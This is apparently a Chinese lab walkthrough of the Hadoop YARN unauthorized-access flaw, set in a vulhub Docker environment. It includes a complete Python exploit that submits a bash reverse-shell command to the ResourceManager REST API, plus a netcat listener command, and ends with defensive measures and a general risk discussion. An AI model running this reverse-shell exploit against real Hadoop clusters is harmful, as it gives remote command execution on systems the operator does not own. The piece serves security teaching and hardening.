Hadoop未授权访问漏洞

漏洞简介以及危害

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器器直接在开放了了
Hadoop 机器器 HDFS 的 50070 web 端口及部分默认服务口口,黑客可以通过命令行操作多个目录下
的数据,如进行删除,下载,目录浏览甚至命令行行等操作,产生极大的危害。

环境

vulnhub

测试

启动环境

docker-compose up -d

访问

http://192.168.0.100:8088/cluster

通过REST API命令执行
利用过程:
在本地监听端口 > 创建Application > 调用Submit Application API提交
1.本机监听

nc -lvvp 8888

2.直接本机执行EXP:python exp.py

import requests
target = 'http://192.168.0.100:8088/'
lhost = '192.168.0.105' # put your local host ip here, and listen at port 8888
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell','am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/8888 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)

3.反弹shell成功

防御手段
  • 如无必要, 关闭 Hadoop Web 管理⻚面。
  • 开启身份验证 ,防止未经授权用户访问。
  • 设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访包括 50070 以及 WebUI 等相关端口。
### Hadoop未授权访问漏洞的风险与影响 Hadoop作为一个分布式计算平台,广泛应用于大数据处理环境中。然而,如果存在未授权访问漏洞,则可能带来严重的安全风险。 #### 数据泄露风险 当Hadoop集群配置不当或缺乏适当的身份验证机制时,攻击者可以绕过正常的安全控制措施获得对敏感数据的读取权限。这可能导致大量个人隐私信息、商业机密以及知识产权遭到非法获取并外泄[^1]。 #### 系统完整性受损 除了能够查看存储于其中的数据之外,拥有未授权访问权的人还可以修改甚至删除这些文件。这种行为不仅会破坏原有业务逻辑所依赖的信息准确性,还可能会引发连锁反应,造成整个应用程序崩溃或者产生错误的结果输出。 #### 资源滥用隐患 未经授权的操作员也可能利用该缺陷执行恶意脚本,在节点上安装后门程序或其他形式持久化工具;更甚者发动DDoS攻击来消耗服务器资源,从而干扰合法用户的正常使用体验,并给企业带来经济损失和社会声誉损害。 ```python # 示例:模拟一个简单的HDFS命令注入场景(仅用于说明) hdfs dfs -put /local/path/file.txt /user/hadoop/destination/ ``` 此代码片段展示了如何通过命令行接口上传本地文件到HDFS中指定位置。但如果系统允许任意用户无需认证即可操作上述指令,则意味着任何人均可向集群内植入潜在危险的内容。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值